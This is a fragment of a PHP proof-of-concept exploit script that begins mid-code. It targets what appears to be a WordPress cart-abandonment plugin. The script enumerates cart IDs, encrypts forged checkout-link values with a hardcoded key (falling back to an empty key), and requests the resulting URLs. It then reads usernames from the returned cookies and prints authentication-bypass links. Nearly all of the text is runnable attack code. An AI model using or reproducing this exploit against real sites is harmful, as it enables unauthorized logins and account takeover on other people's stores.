$header, 'body' => $body, 'status_code' => $statusCode ]; } if ($argc != 4) { echo "[-] Usage: php poc.php http://target_host arget_port max_cart_id_to_enumerate\n"; exit(1); } $host = $argv[1]; $port = $argv[2]; // The maximum cart ID to enumerate $max_id = intval($argv[3]); function exploit_link($host,$port,$id,$encryption_key){ $validate_val = $id.'&url='.$host.':'.$port.'/checkout/'; $encrypted_val = encrypt($validate_val, $encryption_key, 256); $url = $host.':'.$port.'/?wcal_action=checkout_link&user_email=test&validate='.$encrypted_val; $result = fetch_url_content($url); if ($result == False){ return False; } if ($result['body'] == 'Link expired') { return False; } else { // Looking for username preg_match('/Set-Cookie:.*wordpress_.*=(.*?)%/', $result['header'], $matches); $username = isset($matches[1]) ? $matches[1] : null; if ($username){ echo "[+] Authentication Bypass URL for user '".$username."' : ".$url."\n"; return True; }else{ return False; } } } for ($id = 1; $id <= $max_id; $id++) { echo "[*] Enumerating cart ID : ".$id."\n"; // Hardcoded Encryption key $encryption_key = 'qJB0rGtIn5UB1xG03efyCp'; $res = exploit_link($host,$port,$id,$encryption_key); if (! $res){ // In the docker instance I tried, it had empty encryption key for somereason $encryption_key = ''; $res = exploit_link($host,$port,$id,$encryption_key); } } ?>